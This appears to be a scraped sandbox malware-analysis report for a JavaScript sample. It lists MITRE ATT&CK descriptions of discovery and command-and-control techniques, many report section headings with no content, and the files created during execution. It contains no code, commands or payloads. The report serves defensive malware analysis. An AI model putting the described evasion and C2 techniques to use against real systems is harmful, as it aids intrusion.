Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1434827995831320526.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\73f157bd-b35e-4fcf-aace-a8a1cc7751d4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7944

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1434827995831320526.js